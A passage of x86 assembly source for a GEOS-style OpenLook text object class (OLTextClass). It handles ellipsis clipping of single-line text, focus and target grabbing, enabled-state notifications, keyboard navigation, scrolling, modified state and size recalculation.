ds:[bp].Vis_offset ornf ds:[bp].OLTDI_moreState, mask TDSS_CLIPPED ; ; make sure we are showing the beginning of the text (this'll have ; happened for text edits in gained-focus, for text displays we need ; to do it here to support newly appended text) ; mov cx, ds:[bp].VTI_leftOffset jcxz noScroll ; already at beginning add cx, ds:[bp].VI_bounds.R_left add cl, ds:[bp].VTI_lrMargin adc ch, 0 mov ax, MSG_VIS_TEXT_SCROLL_ONE_LINE call ObjCallInstanceNoLock mov bp, ds:[si] add bp, ds:[bp].Vis_offset ; can lmem move? noScroll: ; ; set up gstate ; movdw bxax, ds:[bp].VTI_washColor call GrSetAreaColor test ds:[bp].VI_attrs, mask VA_FULLY_ENABLED jnz haveEnabled ; text is enabled, branch mov al, SDM_50 call GrSetTextMask call GrSetAreaMask haveEnabled: mov ax, mask TM_DRAW_BOTTOM call GrSetTextMode call VisGetBounds mov al, ds:[bp].VTI_tbMargin clr ah add bx, ax ; adjust top/bottom sub dx, ax mov al, ds:[bp].VTI_lrMargin sub cx, ax ; adjust right push ds, si ; save text object push cx, dx ; save bounds segmov ds, dgroup, ax mov si, offset ellipsisString clr cx ; null-terminated call GrTextWidth ; dx = width mov bp, dx ; bp = width pop cx, dx ; restore bounds mov ax, cx sub ax, bp ; ax = ellipsis left pop ds, si ; *ds:si = text object call FindClosestCharPosition ; ax = closest char pos to left call GrFillRect push ds, si ; save text object segmov ds, dgroup, bx mov si, offset ellipsisString mov bx, dx ; drawing from bottom clr cx ; null-terminated call GrDrawText ; draw ellipis pop ds, si ; *ds:si = text object mov al, SDM_100 call GrSetTextMask call GrSetAreaMask mov ax, (mask TM_DRAW_BOTTOM) shl 8 call GrSetTextMode done: ret ClipSingleLineText endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FindClosestCharPosition %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: find closest char position to the left of the passed coordinate CALLED BY: INTERNAL ClipSingleLineText PASS: *ds:si = text object ax = coordinate to check bx, dx = top/bottom to check RETURN: ax = coordinate of closest char bounds to the left DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 8/ 6/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FindClosestCharPosition proc near uses bx, cx, dx point local PointDWFixed offsetParams local VisTextConvertOffsetParams .enter mov point.PDF_x.DWF_int.low, ax shr bx, 1 ; divide first to avoid shr dx, 1 ; overflow add dx, bx ; use Y midpoint mov point.PDF_y.DWF_int.low, dx clr ax mov point.PDF_x.DWF_int.high, ax mov point.PDF_x.DWF_frac, ax mov point.PDF_y.DWF_int.high, ax mov point.PDF_y.DWF_frac, ax push bp lea bp, point mov ax, MSG_VIS_TEXT_GET_TEXT_POSITION_FROM_COORD call ObjCallInstanceNoLock ; pop bp ; mov ax, point.PDF_x.DWF_int.low ;this gives us the closest to the right of the passed point, use the closest ;char offset and decrement to get the point to the left: decdw dxax ; ignore high word of pos. pop bp movdw offsetParams.VTCOP_offset, dxax push bp mov dx, ss ; dx:bp = params lea bp, offsetParams mov ax, MSG_VIS_TEXT_CONVERT_OFFSET_TO_COORDINATE call ObjCallInstanceNoLock pop bp mov ax, offsetParams.VTCOP_xPos.low .leave ret FindClosestCharPosition endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckTextOverflow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: check if text overflows single line text object CALLED BY: INTERNAL ClipSingleLineText OLTMetaGainedLostSysFocusExcl PASS: *ds:si = text object RETURN: carry set if text overflow DESTROYED: ax, bx, cx, dx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 8/ 5/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CheckTextOverflow proc far call VisGetSize mov bx, ds:[si] add bx, ds:[bx].Vis_offset mov al, ds:[bx].VTI_lrMargin shl al, 1 clr ah sub cx, ax push cx ; save text object width mov dx, cx clr cx ; use all text mov ax, MSG_VIS_TEXT_GET_ONE_LINE_WIDTH call ObjCallInstanceNoLock ; cx = text width pop ax ; ax = object with cmp ax, cx ; sizes are unsigned ; C set if text wider ret CheckTextOverflow endp endif ; CLIP_SINGLE_LINE_TEXT COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ECCheckGenTextObject %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Checks if this is a GenText. CALLED BY: EC utility PASS: *ds:si -- object RETURN: nothing DESTROYED: nothing (flags preserved) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 7/19/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if ERROR_CHECK ECCheckGenTextObject proc far uses es, di .enter pushf mov di, segment GenTextClass mov es, di mov di, offset GenTextClass call ObjIsObjectInClass ERROR_NC OL_INTERNAL_ERROR_CANT_ACCESS_GEN_TEXT_INSTANCE popf .leave ret ECCheckGenTextObject endp endif COMMENT @---------------------------------------------------------------------- FUNCTION: OLTextBroadcastForDefaultFocus -- MSG_SPEC_BROADCAST_FOR_DEFAULT_FOCUS handler. DESCRIPTION: This broadcast method is used to find the object within a window which has HINT_DEFAULT_FOCUS{_WIN}. PASS: *ds:si = instance data for object RETURN: ^lcx:dx = OD of object with hint carry set if broadcast handled DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 3/90 initial version ------------------------------------------------------------------------------@ OLTextBroadcastForDefaultFocus method dynamic OLTextClass, \ MSG_SPEC_BROADCAST_FOR_DEFAULT_FOCUS ; ; Added so that non-selectable text edit objects won't just take ; the focus, even if the magic hint is there. ; test ds:[di].OLTDI_moreState, mask TDSS_SELECTABLE jz done test ds:[di].OLTDI_moreState, mask TDSS_MAKE_DEFAULT_FOCUS jz done ;skip if not... mov cx, ds:[LMBH_handle] mov dx, si clr bp done: ret OLTextBroadcastForDefaultFocus endm CommonFunctional ends ;----------------------------------- GadgetCommon segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextGrabFocusExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Force the focus to this object. PASS: ds:*si = instance ptr. es = class segment. ax = MSG_META_GRAB_FOCUS_EXCL. RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 10/13/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLTextGrabFocusExcl method dynamic OLTextClass, \ MSG_META_GRAB_FOCUS_EXCL if TEXT_DISPLAY_FOCUSABLE ; ; if text display focusable, don't check selectable state ; test ds:[di].OLTDI_moreState, mask TDSS_FOCUSABLE jnz grabFocus endif ; Quit if object not selectable ; (May NOT have focus if not so) test ds:[di].OLTDI_moreState, mask TDSS_SELECTABLE jz done grabFocus:: ; ; Have the view grab the focus if there is one. ; test ds:[di].OLTDI_specState, mask TDSS_IN_VIEW jz 10$ ;not in view or composite mov si, ds:[di].OLTDI_viewObj ;else point into the object EC < tst si > EC < ERROR_Z OL_ERROR > 10$: call MetaGrabFocusExclLow ; else call default VisClass handler done: ret OLTextGrabFocusExcl endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextGrabTargetExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Force the target to this object. PASS: ds:*si = instance ptr. es = class segment. ax = MSG_META_GRAB_TARGET_EXCL. RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 10/13/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLTextGrabTargetExcl method dynamic OLTextClass, \ MSG_META_GRAB_TARGET_EXCL ; Quit if object not selectable ; (May NOT have target if not so) test ds:[di].OLTDI_moreState, mask TDSS_SELECTABLE jz done ; ; Have the view grab the target if there is one. ; test ds:[di].OLTDI_specState, mask TDSS_IN_VIEW jz 10$ ;not in view or composite mov si, ds:[di].OLTDI_viewObj ;else point into the object EC < tst si > EC < ERROR_Z OL_ERROR > 10$: call MetaGrabTargetExclLow ; else call default VisClass handler done: ret OLTextGrabTargetExcl endm COMMENT @---------------------------------------------------------------------- METHOD: OLTextNotifyEnabled -- MSG_SPEC_NOTIFY_ENABLED for OLTextClass DESCRIPTION: Sent to object to update its visual enabled state. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_SPEC_NOTIFY_ENABLED dl - VisUpdateMode dh - NotifyEnabledFlags: mask NEF_STATE_CHANGING if this is the object getting its enabled state changed RETURN: carry set if visual state changed DESTROYED: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: This is called by the specific UI to see if anything special needs to be done. In out case, we need to mark our view or composite disabled as well, and return the carry clear so that the update will happen normally. We'll also reset the selectable flag, if applicable. KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 1/30/90 Initial version ------------------------------------------------------------------------------@ OLTextNotifyEnabled method dynamic OLTextClass, \ MSG_SPEC_NOTIFY_ENABLED push dx, ax mov di, offset OLTextClass call ObjCallSuperNoLock DoPop ax, dx jnc exit ;nothing special happened, exit ; ; If normally editable and enabled, reset the object editable. ; mov di, ds:[si] ;point to instance add di, ds:[di].Gen_offset test ds:[di].GI_states, mask GS_ENABLED jz 5$ ;not enabled in any case,branch test ds:[di].GI_attrs, mask GA_READ_ONLY jnz 5$ push ax, dx mov cx, mask VTS_EDITABLE or mask VTS_SELECTABLE mov ax, MSG_VIS_TEXT_MODIFY_EDITABLE_SELECTABLE call ObjCallInstanceNoLock pop ax, dx 5$: ; ; Set the parent view or composite enabled, if applicable. ; mov di, ds:[si] ;point to instance add di, ds:[di].Vis_offset ;ds:[di] -- SpecInstance test ds:[di].OLTDI_specState, mask TDSS_IN_COMPOSITE or \ mask TDSS_IN_VIEW jz 10$ ;not in view or composite push si mov si, ds:[di].OLTDI_viewObj ;else point into the object push dx mov ax, MSG_GEN_SET_ENABLED call ObjCallInstanceNoLock ;sets GS_ENABLED pop dx mov ax, MSG_GEN_NOTIFY_ENABLED call ObjCallInstanceNoLock ;sets VA_FULLY_ENABLED if needed pop si if TEXT_DISPLAY_FOCUSABLE ; ; re-grab focus and target for text object under content ; *ds:si = text ; call MetaGrabFocusExclLow call MetaGrabTargetExclLow endif 10$: ; ; Set the selectable flag, if appropriate. ; mov di, ds:[si] ;point to instance add di, ds:[di].Vis_offset ;ds:[di] -- VisInstance test ds:[di].OLTDI_moreState, mask TDSS_SELECTABLE jz notSelectable ; skip if not selectable. or ds:[di].VTI_state, mask VTS_SELECTABLE notSelectable: ; stc ;return state changed exit: ret OLTextNotifyEnabled endm COMMENT @---------------------------------------------------------------------- METHOD: OLTextNotifyNotEnabled -- MSG_SPEC_NOTIFY_NOT_ENABLED for OLTextClass DESCRIPTION: Disables the text object and its cohorts, if needed. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_SPEC_NOTIFY_NOT_ENABLED dl - update mode RETURN: carry set if visual state changed DESTROYED: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 1/30/90 Initial version ------------------------------------------------------------------------------@ OLTextNotifyNotEnabled method dynamic OLTextClass, \ MSG_SPEC_NOTIFY_NOT_ENABLED call OLTextNavigateIfHaveFocus ;get rid of focus if we have it push dx call MetaReleaseFocusExclLow ;release focus (shouldn't be ; necessary) call MetaReleaseTargetExclLow ;release target call VisReleaseMouse ; Note that there is no need to unhilite the text object at this ; point since releasing the focus will do this ; ; Turn off editable and selectable flags. ; mov cx, (mask VTS_EDITABLE or mask VTS_SELECTABLE) shl 8 mov ax, MSG_VIS_TEXT_MODIFY_EDITABLE_SELECTABLE call ObjCallInstanceNoLock mov ax, MSG_SPEC_NOTIFY_NOT_ENABLED mov di, offset OLTextClass ;call superclass call ObjCallSuperNoLock pop dx jnc exit ;nothing special happened, exit ; ; Set the parent view or composite enabled, if applicable. ; mov di, ds:[si] ;point to instance add di, ds:[di].Vis_offset ;ds:[di] -- SpecInstance test ds:[di].OLTDI_specState, mask TDSS_IN_COMPOSITE or \ mask TDSS_IN_VIEW jz exit ;not in view or composite push si mov si, ds:[di].OLTDI_viewObj ;else point into the object mov ax, MSG_GEN_SET_NOT_ENABLED call ObjCallInstanceNoLock ;clears GS_ENABLED mov ax, MSG_GEN_NOTIFY_NOT_ENABLED call ObjCallInstanceNoLock ;clears VA_FULLY_ENABLED if nece pop si stc exit: ret OLTextNotifyNotEnabled endm COMMENT @---------------------------------------------------------------------- ROUTINE: OLTextNavigateIfHaveFocus SYNOPSIS: Navigates if we currently have the focus. Special version for OLTextClass which will check at the view level if there is one (rather than finding out we have the focus under the view, which we already know.) CALLED BY: FAR PASS: *ds:si -- OLTextClass RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 3/ 9/93 Initial version ------------------------------------------------------------------------------@ OLTextNavigateIfHaveFocus proc far uses si .enter mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].OLTDI_specState, mask TDSS_IN_VIEW jz 10$ mov si, ds:[di].OLTDI_viewObj tst si ;can't find view, exit jz exit 10$: call OpenNavigateIfHaveFocus exit: .leave ret OLTextNavigateIfHaveFocus endp COMMENT @---------------------------------------------------------------------- FUNCTION: OLTextNavigate - MSG_SPEC_NAVIGATION_QUERY handler for OLTextClass DESCRIPTION: This method is used to implement the keyboard navigation within-a-window mechanism. See method declaration for full details. CALLED BY: utility PASS: *ds:si = instance data for object cx:dx = OD of object which originated the navigation method bp = NavigationFlags RETURN: ds, si = same cx:dx = OD of replying object bp = NavigationFlags (in reply) carry set if found the next/previous object we were seeking DESTROYED: ax, bx, es, di PSEUDO CODE/STRATEGY: OLTextClass handler: call utility routine, passing flags to indicate the status of this node: is not root, is not composite, may be focusable, is not menu-related. REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 2/90 initial version ------------------------------------------------------------------------------@ OLTextNavigate method dynamic OLTextClass, MSG_SPEC_NAVIGATION_QUERY ;ERROR CHECKING is in VisNavigateCommon clr bl ;default: not root-level node, is not ;composite node, is not focusable, ;not menu-related. if _KBD_NAVIGATION or _CR_NAVIGATION ;can navigate to this item? ;see if this TextDisplayObject is enabled and is FOCUSABLE. This thing ;is always generic, believe me. (Changed to have all text in views ;be focusable. -cbh 2/17/93) if TEXT_DISPLAY_FOCUSABLE ; ; if text display focusable, don't check editable ; test ds:[di].OLTDI_moreState, mask TDSS_FOCUSABLE jnz tryNavigate endif test ds:[di].OLTDI_specState, mask TDSS_EDITABLE or mask TDSS_IN_VIEW jz haveFlags ;not editable, not focusable tryNavigate:: test ds:[di].VI_attrs, mask VA_FULLY_ENABLED jz haveFlags ;skip if not... ORNF bl, mask NCF_IS_FOCUSABLE ;indicate that node is focusable endif haveFlags: ;call utility routine, passing flags to indicate that this is ;a leaf node in visible tree, and whether or not this object can ;get the focus. This routine will check the passed NavigationFlags ;and decide what to respond. mov di, si ;if is a generic object, gen hints ;will be in same object. call VisNavigateCommon ret OLTextNavigate endm COMMENT @---------------------------------------------------------------------- METHOD: OLTextPageUp -- MSG_VIS_TEXT_SCROLL_PAGE_UP for OLTextClass DESCRIPTION: Scrolls the text object up. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_VIS_TEXT_SCROLL_PAGE_UP RETURN: nothing DESTROYED: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 7/26/90 Initial version ------------------------------------------------------------------------------@ OLTextPageUp method dynamic OLTextClass, MSG_VIS_TEXT_SCROLL_PAGE_UP mov ax, MSG_GEN_VIEW_SCROLL_PAGE_UP GOTO OLTextScroll OLTextPageUp endm OLTextPageDown method dynamic OLTextClass, MSG_VIS_TEXT_SCROLL_PAGE_DOWN mov ax, MSG_GEN_VIEW_SCROLL_PAGE_DOWN GOTO OLTextScroll OLTextPageDown endm OLTextScroll proc far mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].OLTDI_specState, mask TDSS_IN_VIEW jz exit ;not in view, exit mov si, ds:[di].OLTDI_viewObj GOTO ObjCallInstanceNoLock exit: ret OLTextScroll endp COMMENT @---------------------------------------------------------------------- MESSAGE: OLTextTextUserModified -- MSG_META_TEXT_USER_MODIFIED for OLTextClass DESCRIPTION: Handle the text object becoming dirty PASS: *ds:si - instance data es - segment of OLTextClass ax - The message RETURN: DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 2/11/92 Initial version ------------------------------------------------------------------------------@ OLTextTextUserModified method dynamic OLTextClass, MSG_META_TEXT_USER_MODIFIED mov di, offset OLTextClass call ObjCallSuperNoLock ; ; The thing is no longer indeterminate, and is now modified. Setting ; the thing modified will set the dialog box applyable as well. ; clr cx mov ax, MSG_GEN_TEXT_SET_INDETERMINATE_STATE call ObjCallInstanceNoLock mov cx, si mov ax, MSG_GEN_TEXT_SET_MODIFIED_STATE call ObjCallInstanceNoLock ; ; Since our actions may cause an object with HINT_DEFAULT_DEFAULT ; on it to become enabled, we have to steal the default back. Sigh. ; cbh 8/30/93 ; mov cx, SVQT_TAKE_DEFAULT_EXCLUSIVE GOTO OLTextChangeAlterExclIfSingleLineDefault OLTextTextUserModified endm COMMENT @---------------------------------------------------------------------- MESSAGE: OLTextTextNotUserModified -- MSG_META_TEXT_NOT_USER_MODIFIED for OLTextClass DESCRIPTION: Handle the text object becoming clean. PASS: *ds:si - instance data es - segment of OLTextClass ax - The message RETURN: DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 12/16/92 Initial version ------------------------------------------------------------------------------@ OLTextTextNotUserModified method dynamic OLTextClass, MSG_META_TEXT_NOT_USER_MODIFIED mov di, offset OLTextClass call ObjCallSuperNoLock ; ; Set the text object not modified. ; clr cx mov ax, MSG_GEN_TEXT_SET_MODIFIED_STATE GOTO ObjCallInstanceNoLock OLTextTextNotUserModified endm COMMENT @---------------------------------------------------------------------- METHOD: OLTextSetModifiedState -- MSG_GEN_TEXT_SET_MODIFIED_STATE for OLTextClass DESCRIPTION: Sets modified state of text object. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_GEN_TEXT_SET_MODIFIED_STATE RETURN: nothing ax, cx, dx, bp - destroyed ALLOWED TO DESTROY: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chris 4/20/93 Initial Version ------------------------------------------------------------------------------@ OLTextSetModifiedState method dynamic OLTextClass, \ MSG_GEN_TEXT_SET_MODIFIED_STATE mov ax, MSG_VIS_TEXT_SET_NOT_USER_MODIFIED tst cx jz 10$ ;not setting modified, branch mov ax, MSG_VIS_TEXT_SET_USER_MODIFIED 10$: GOTO ObjCallInstanceNoLock OLTextSetModifiedState endm COMMENT @---------------------------------------------------------------------- MESSAGE: OLTextApply -- MSG_GEN_APPLY for OLTextClass DESCRIPTION: Handle APPLY by setting the object clean again PASS: *ds:si - instance data es - segment of OLTextClass ax - The message RETURN: DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 2/12/92 Initial version ------------------------------------------------------------------------------@ OLTextApply method dynamic OLTextClass, MSG_GEN_APPLY mov ax, MSG_VIS_TEXT_SET_NOT_USER_MODIFIED GOTO ObjCallInstanceNoLock OLTextApply endm COMMENT @---------------------------------------------------------------------- METHOD: OLTextUpdateVisMoniker -- MSG_SPEC_UPDATE_VIS_MONIKER for OLTextClass DESCRIPTION: Specific UI handler for setting the vis moniker. Sets OLCOF_DISPLAY_MONIKER flag. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_SPEC_UPDATE_VIS_MONIKER dl - VisUpdateMode cx, bp - old moniker size RETURN: nothing DESTROYED: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 3/25/91 Initial version ------------------------------------------------------------------------------@ OLTextUpdateVisMoniker method OLTextClass, \ MSG_SPEC_UPDATE_VIS_MONIKER mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].OLTDI_specState, mask TDSS_IN_VIEW or \ mask TDSS_IN_COMPOSITE jz callSuper ;not in view, do superclass ; ; Nothing to be done but to have the moniker set on the view or ; composite. ; mov ax, ds:[di].OLTDI_viewObj mov bp, dx ;VisUpdateMode in bp mov di, ds:[si] add di, ds:[di].Gen_offset mov cx, ds:[LMBH_handle] mov dx, ds:[di].GI_visMoniker ;moniker chunk to use mov si, ax ;*ds:si = view or comp mov ax, MSG_GEN_REPLACE_VIS_MONIKER_OPTR GOTO ObjCallInstanceNoLock callSuper: mov di, offset OLTextClass GOTO ObjCallSuperNoLock OLTextUpdateVisMoniker endm GadgetCommon ends ;-------------------------- Geometry segment resource COMMENT @---------------------------------------------------------------------- MESSAGE: OLTextSpecVisOpenNotify -- MSG_SPEC_VIS_OPEN_NOTIFY for OLTextClass DESCRIPTION: Handle notification that an object with GA_NOTIFY_VISIBILITY has been opened PASS: *ds:si - instance data es - segment of OLTextClass ax - The message RETURN: DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 4/24/92 Initial version ------------------------------------------------------------------------------@ OLTextSpecVisOpenNotify method dynamic OLTextClass, MSG_SPEC_VIS_OPEN_NOTIFY call VisOpenNotifyCommon ret OLTextSpecVisOpenNotify endm ;--- OLTextSpecVisCloseNotify method dynamic OLTextClass, MSG_SPEC_VIS_CLOSE_NOTIFY call VisCloseNotifyCommon ret OLTextSpecVisCloseNotify endm Geometry ends LessUsedGeometry segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetTextObjectLineHeight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Gets the line height of a multi-line text object. We can't query the text object for this information, as it won't generate it until its geometry is valid, so calculate it ourself: LineHeight = GFMI_MAX_ADJUSTED_HEIGHT - GFMI_ABOVE_BOX - GFMI_BELOW_BOX CALLED BY: GLOBAL PASS: *ds:si - OLTextClass object RETURN: bx - line height DESTROYED: nada PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 12/30/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetTextObjectLineHeight proc far uses ax, cx, dx, bp, di, si .enter ; Get the font and point size for the text object ; ; We can't just use the point size as the line height, as Berkeley 10 ; point is 12 pixels tall. ; sub sp, size VisTextCharAttr + size VisTextGetAttrParams + size VisTextCharAttrDiffs mov bp, sp clrdw ss:[bp].VTGAP_range.VTR_start clrdw ss:[bp].VTGAP_range.VTR_end clr ss:[bp].VTGAP_flags lea bx, ss:[bp + size VisTextGetAttrParams] movdw ss:[bp].VTGAP_attr, ssbx movdw ss:[bp].VTGAP_return, ssbx add ss:[bp].VTGAP_return.offset, size VisTextCharAttr mov ax, MSG_VIS_TEXT_GET_CHAR_ATTR call ObjCallInstanceNoLock movwbf dxah, ss:[bx].VTCA_pointSize ;DX.AH <- pt size of the text obj mov al, ss:[bx].VTCA_textStyles mov cx, ss:[bx].VTCA_fontID ;CX <- font ID add sp, size VisTextCharAttr + size VisTextGetAttrParams + size VisTextCharAttrDiffs clr di call GrCreateState call GrSetFont clr ah call GrSetTextStyle mov si, GFMI_MAX_ADJUSTED_HEIGHT call GrFontMetrics movwbf bxch, dxah ;BX.CH = GFMI_MAX_ADJUSTED_HEIGHT mov si, GFMI_ABOVE_BOX ; - GFMI_ABOVE_BOX call GrFontMetrics subwbf bxch, dxah mov si, GFMI_BELOW_BOX ; - GFMI_BELOW_BOX call GrFontMetrics subwbf bxch, dxah shl ch adc bx, 0 ;Round BX to the nearest integer call GrDestroyState .leave ret GetTextObjectLineHeight endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextRerecalcSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Calculate a size for a text object. Does nothing if the text is in a view. CALLED BY: via MSG_VIS_RECALC_SIZE. PASS: ds:*si = instance ptr. es = class segment. ax = MSG_VIS_RECALC_SIZE. cx = suggested width. dx = suggested height. RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: lookup desired size args apply init width, init height immediately calcWidth = MSG_TEXT_ONE_LINE_TEXT_WIDTH(obj) if singleLine and not allowTextOffEnd and width not DSA_CHOOSE_OWN_SIZE width = max (width, calcWidth) if not expandWidthToFit or width = DSA_CHOOSE_OWN_SIZE (assumes a desired width is large, and won't be the min) if (editable or multi-line) ;and width not DSA_CHOOSE_OWN_SIZE width = min (DEFAULT_WIDTH, width) else width = min (calcWidth, width) endif limit width to min and max if singleLine height = oneLine else if not expandHeightToFit (assumes a desired height is large, and won't be the min) if editable height = min (DEFAULT_HEIGHT, height) else height = min (calcHeight, height) limit height to min and max Make height an even multiple of lines if calcHeight > originalPassedHeight MSG_OL_PLACE_IN_VIEW(obj) KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 10/13/89 Initial version cbh 6/18/91 Rewritten completely for V2.0. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DEFAULT_TEXT_WIDTH = 220 ;arbitrary DEFAULT_NARROW_TEXT_WIDTH = 200 ;arbitrary DEFAULT_TEXT_HEIGHT = 4 DEFAULT_TEXT_MIN_WIDTH = 20 OLTextRerecalcSize method dynamic OLTextClass, MSG_VIS_RECALC_SIZE desiredSize local SpecSizeArgs .enter if BUBBLE_DIALOGS and (not (_DUI)) ; ; If we are in a bubble dialog, then check to see if the "suggested" ; width is less that the DEFAULT_TEXT_MIN_WIDTH. If so, then be a ; "tough guy" and ignore that suggested width. ; ; We do this because popup's now shrink-to-fit and eventually the ; geometry manager suggests that this text object be about 2 pixels ; wide and this text object is a wimp and just says "OK.. I'll be 2 ; pixels wide". But that's bad because a 2-pixel wide text object ; just isn't that useful. ; test ds:[di].OLTDI_moreState, mask TDSS_WIN_IS_POPUP jz noToughGuy test cx, mask RSA_CHOOSE_OWN_SIZE jnz noToughGuy cmp cx, DEFAULT_TEXT_MIN_WIDTH jge noToughGuy ; Ignoring suggested width because it sucks. mov cx, mask RSA_CHOOSE_OWN_SIZE noToughGuy: endif ;BUBBLE_DIALOGS and (not (_DUI)) call VisSetupSizeArgs ;set up size args call OLTextDerefVis test ds:[di].OLTDI_specState, mask TDSS_IN_VIEW jz notInView ; Not in view, branch call recalcSizeInView ; else do view stuff jmp exit ; and exit notInView: 